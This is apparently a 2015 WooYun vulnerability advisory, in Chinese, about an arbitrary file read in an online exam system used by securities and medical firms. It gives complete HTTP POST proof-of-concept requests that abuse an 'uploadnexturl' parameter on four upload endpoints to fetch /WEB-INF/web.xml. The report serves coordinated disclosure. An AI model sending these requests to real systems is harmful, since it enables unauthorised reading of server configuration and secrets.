当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0146222

漏洞标题:某大型在线考试系统通用型任意文件遍历

相关厂商:深圳市新风向科技有限公司

漏洞作者: 路人甲

提交时间:2015-10-12 18:41

修复时间:2016-01-14 15:44

公开时间:2016-01-14 15:44

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-12: 细节已通知厂商并且等待厂商处理中
2015-10-16: 厂商已经确认,细节仅向厂商公开
2015-10-19: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-10: 细节向核心白帽子及相关领域专家公开
2015-12-20: 细节向普通白帽子公开
2015-12-30: 细节向实习白帽子公开
2016-01-14: 细节向公众公开

简要描述:

任意文件遍历

详细说明:

部分案例:http://**.**.**.**/index.php?ac=article&at=list&tid=151

浙商证券**.**.**.**/
金蝶http://**.**.**.**/
开源证券http://**.**.**.**:8000/
华西医疗信息服务有限公司**.**.**.**/


细节决定成败
在前人的漏洞里http://**.**.**.**/bugs/wooyun-2010-0108559,发现上传数据包中一个关键参数uploadnexturl,试探下得到漏洞POC
金蝶为例

POST http://**.**.**.**/question/attach.upload HTTP/1.1
Host: **.**.**.**
Connection: keep-alive
Content-Length: 324
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0EnErIJoOjA86ai0
Referer: http://**.**.**.**/mana/edit/attach_upload.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=ABFC4E4965C0FCB621D58FD7E1F5BC2D
------WebKitFormBoundary0EnErIJoOjA86ai0
Content-Disposition: form-data; name="uploadnexturl"
/WEB-INF/web.xml
------WebKitFormBoundary0EnErIJoOjA86ai0
Content-Disposition: form-data; name="src"; filename="1.jpg"
Content-Type: application/octet-stream
1
------WebKitFormBoundary0EnErIJoOjA86ai0--


QQ截图20151012163807.jpg


QQ截图20151012164209.jpg

漏洞证明:

浙商证券

POST **.**.**.**/question/attach.upload HTTP/1.1
Host: **.**.**.**
Connection: keep-alive
Content-Length: 307
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0EnErIJoOjA86ai0
Referer:
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie:
------WebKitFormBoundary0EnErIJoOjA86ai0
Content-Disposition: form-data; name="uploadnexturl"
/WEB-INF/web.xml
------WebKitFormBoundary0EnErIJoOjA86ai0
Content-Disposition: form-data; name="src"; filename="1.jpg"
Content-Type: application/octet-stream
1
------WebKitFormBoundary0EnErIJoOjA86ai0--


QQ截图20151012164417.jpg


开源证券

POST http://**.**.**.**:8000/question/attach.upload HTTP/1.1
Host: **.**.**.**:8000
Connection: keep-alive
Content-Length: 307
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: **.**.**.**:8000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0EnErIJoOjA86ai0
Referer:
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie:
------WebKitFormBoundary0EnErIJoOjA86ai0
Content-Disposition: form-data; name="uploadnexturl"
/WEB-INF/web.xml
------WebKitFormBoundary0EnErIJoOjA86ai0
Content-Disposition: form-data; name="src"; filename="1.jpg"
Content-Type: application/octet-stream
1
------WebKitFormBoundary0EnErIJoOjA86ai0--


QQ截图20151012164609.jpg


华西医疗信息服务有限公司

POST **.**.**.**/question/attach.upload HTTP/1.1
Host: **.**.**.**
Connection: keep-alive
Content-Length: 307
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0EnErIJoOjA86ai0
Referer:
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie:
------WebKitFormBoundary0EnErIJoOjA86ai0
Content-Disposition: form-data; name="uploadnexturl"
/WEB-INF/web.xml
------WebKitFormBoundary0EnErIJoOjA86ai0
Content-Disposition: form-data; name="src"; filename="1.jpg"
Content-Type: application/octet-stream
1
------WebKitFormBoundary0EnErIJoOjA86ai0--


QQ截图20151012165017.jpg


以上是POC1
还有POC2、POC3以及POC4见测试代码
POC3演示:

POST http://**.**.**.**/question/mult.upload HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer:
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: multipart/form-data; boundary=---------------------------7df22019904c2
Accept-Encoding: gzip, deflate
Host: **.**.**.**
Content-Length: 692
Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=
-----------------------------7df22019904c2
Content-Disposition: form-data; name="uploadnexturl"
/WEB-INF/web.xml
-----------------------------7df22019904c2
Content-Disposition: form-data; name="src"; filename="1.jpg"
Content-Type: audio/wav
1
-----------------------------7df22019904c2
Content-Disposition: form-data; name="width"
360
-----------------------------7df22019904c2
Content-Disposition: form-data; name="height"
240
-----------------------------7df22019904c2
Content-Disposition: form-data; name="insert"
0
-----------------------------7df22019904c2
Content-Disposition: form-data; name="Submitdata"
ȷ
-----------------------------7df22019904c2--


QQ截图20151012170214.jpg


POC2演示:

POST http://**.**.**.**:8000/question/image.upload HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer:
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: multipart/form-data; boundary=---------------------------7df25820904c2
Accept-Encoding: gzip, deflate
Host: **.**.**.**:8000
Content-Length: 874
Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=
-----------------------------7df25820904c2
Content-Disposition: form-data; name="uploadnexturl"
/WEB-INF/web.xml
-----------------------------7df25820904c2
Content-Disposition: form-data; name="src"; filename="1.jpg"
Content-Type: image/pjpeg
1
-----------------------------7df25820904c2
Content-Disposition: form-data; name="Submitdata"
ȷ
-----------------------------7df25820904c2
Content-Disposition: form-data; name="alt"
-----------------------------7df25820904c2
Content-Disposition: form-data; name="align"
-----------------------------7df25820904c2
Content-Disposition: form-data; name="border"
-----------------------------7df25820904c2
Content-Disposition: form-data; name="hspace"
-----------------------------7df25820904c2
Content-Disposition: form-data; name="vspace"
-----------------------------7df25820904c2--


QQ截图20151012170615.jpg


POC4演示:

POST **.**.**.**/question/flash.upload HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer:
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: multipart/form-data; boundary=---------------------------7df2272a904c2
Accept-Encoding: gzip, deflate
Host: **.**.**.**
Content-Length: 712
Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=
-----------------------------7df2272a904c2
Content-Disposition: form-data; name="uploadnexturl"
/WEB-INF/web.xml
-----------------------------7df2272a904c2
Content-Disposition: form-data; name="src"; filename="1.jpg"
Content-Type: application/x-shockwave-flash
1
-----------------------------7df2272a904c2
Content-Disposition: form-data; name="width"
360
-----------------------------7df2272a904c2
Content-Disposition: form-data; name="height"
240
-----------------------------7df2272a904c2
Content-Disposition: form-data; name="insert"
0
-----------------------------7df2272a904c2
Content-Disposition: form-data; name="Submitdata"
ȷ
-----------------------------7df2272a904c2--


QQ截图20151012170812.jpg

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-10-16 15:42

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT通过软件生产厂商公开联系渠道向其邮件通报,并向证券业信息化主管部门通报,由其后续协调网站管理单位处置。

最新状态:

暂无